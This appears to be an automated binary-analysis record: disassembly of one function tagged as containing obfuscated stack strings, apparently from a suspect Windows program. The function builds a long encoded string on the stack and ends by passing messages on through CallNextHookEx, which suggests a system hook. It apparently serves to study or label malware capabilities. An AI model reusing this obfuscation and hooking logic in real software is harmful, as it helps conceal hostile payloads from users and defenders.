Function at 0x1401d9b9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xd38
mov eax, 0x1404c9cc
call fcn.1401ee46
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0xc7c]
push 0xc2a
xor ebx, ebx
push ebx
push eax
call fcn.140216f0
add esp, 0xc
mov dword [ebp - 0xc80], ebx
call fcn.140139fe
push eax
lea ecx, [ebp - 0xc80]
call fcn.1401055e
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1401dd33
cmp dword [edi + 8], 0x4a
jne 0x1401dd33
mov esi, dword [edi]
test esi, esi
je 0x1401dd33
mov eax, dword [esi]
cmp eax, 0x4cc7c
jne 0x1401dd25
mov esi, dword [esi + 8]
lea edi, [ebp - 0xc7c]
push 0x64
pop eax
mov byte [ebp - 0xcfc], al
mov ecx, 0x30a
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0xc91], al
lea eax, [ebp - 0xb53]
push eax
lea eax, [ebp - 0xc7c]
mov dword [ebp - 0xd30], 0x3538544a
push eax
lea eax, [ebp - 0xc57]
movsw word es:[edi], word [esi]
push eax
push ebx
sub esp, 0xc
mov dword [ebp - 0xd2c], 0x38635745
mov ecx, esp
mov dword [ebp - 0xd28], 0x6d633246
lea eax, [ebp - 0xc82]
mov dword [ebp - 0xd24], 0x6d515748
mov dword [ebp - 0xd20], 0x446f4844
push dword [ebp - 0xd34]
mov dword [ebp - 0xd1c], 0x3139534f
push eax
mov dword [ebp - 0xd18], 0x5673674f
lea eax, [ebp - 0xd30]
mov dword [ebp - 0xd14], 0x48594450
mov dword [ebp - 0xd10], 0x3573794f
mov dword [ebp - 0xd0c], 0x2f4e6a45
mov dword [ebp - 0xd08], 0x7177514e
mov dword [ebp - 0xd04], 0x4863694f
mov dword [ebp - 0xd00], 0x6b555345
mov dword [ebp - 0xcfb], 0x506d426e
mov dword [ebp - 0xcf7], 0x4c695653
mov dword [ebp - 0xcf3], 0x5073557a
mov dword [ebp - 0xcef], 0x5a456b47
mov dword [ebp - 0xceb], 0x422b6743
mov dword [ebp - 0xce7], 0x476a6f77
mov dword [ebp - 0xce3], 0x44706f7a
mov dword [ebp - 0xcdf], 0x47374d41
mov dword [ebp - 0xcdb], 0x48593467
mov dword [ebp - 0xcd7], 0x436c5251
mov dword [ebp - 0xcd3], 0x44383067
mov dword [ebp - 0xccf], 0x4d786b52
mov dword [ebp - 0xccb], 0x47465552
mov dword [ebp - 0xcc7], 0x59537744
mov dword [ebp - 0xcc3], 0x41624951
mov dword [ebp - 0xcbf], 0x63503877
mov dword [ebp - 0xcbb], 0x4a75496a
mov dword [ebp - 0xcb7], 0x42486b53
mov dword [ebp - 0xcb3], 0x5a743479
mov dword [ebp - 0xcaf], 0x44613451
mov dword [ebp - 0xcab], 0x412b4544
mov dword [ebp - 0xca7], 0x50424177
mov dword [ebp - 0xca3], 0x42324268
mov dword [ebp - 0xc9f], 0x4a68516a
mov dword [ebp - 0xc9b], 0x505a6377
mov dword [ebp - 0xc97], 0x47505148
mov word [ebp - 0xc93], 0x5552
mov dword [ebp - 0xc90], 0x50384347
mov dword [ebp - 0xc8c], 0x35527841
mov dword [ebp - 0xc88], 0x41414141
mov word [ebp - 0xc84], 0x6763
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1400fdb1
lea eax, [ebp - 0xd44]
push eax
call fcn.14013048
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.1401c5f6
push eax
lea eax, [ebp - 0xc80]
push eax
call fcn.140134ed
add esp, 0x14
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd44]
call fcn.1401c43e
push 0x3c
lea eax, [ebp - 0x50]
push ebx
push eax
call fcn.140216f0
pop ecx
pop ecx
lea eax, [ebp - 0xc7c]
mov ecx, esp
push eax
call fcn.140106d7
lea ecx, [ebp - 0x50]
call fcn.140107ad
lea eax, [ebp - 0xb53]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x20]
call fcn.1401166d
lea eax, [ebp - 0x17b]
push eax
lea ecx, [ebp - 0x1c]
call fcn.1401166d
lea eax, [ebp - 0x77]
push eax
lea ecx, [ebp - 0x18]
call fcn.1401166d
mov esi, dword [ebp - 0xc80]
lea eax, [ebp - 0x50]
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0xd34], esp
push esi
call fcn.140106d7
push ecx
lea eax, [ebp - 0x94b]
mov byte [ebp - 4], 4
mov ecx, esp
push eax
call fcn.14010649
mov byte [ebp - 4], 3
call fcn.14018700
add esp, 0xc
call fcn.1402943c
push 0x64
pop ecx
cdq
idiv ecx
cmp edx, ecx
jg 0x1401dd18
lea eax, [ebp - 0x50]
push eax
call fcn.140175c4
pop ecx
lea ecx, [ebp - 0x50]
call fcn.140112f6
lea ecx, [esi - 0x10]
jmp 0x1401dd4a
cmp eax, 0x4d835
jne 0x1401dd33
push ebx
call fcn.1401b058
pop ecx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.USER32.dll_CallNextHookEx]
mov ecx, dword [ebp - 0xc80]
lea ecx, [ecx - 0x10]
call fcn.140172a0
call fcn.1401ed93
ret 0xc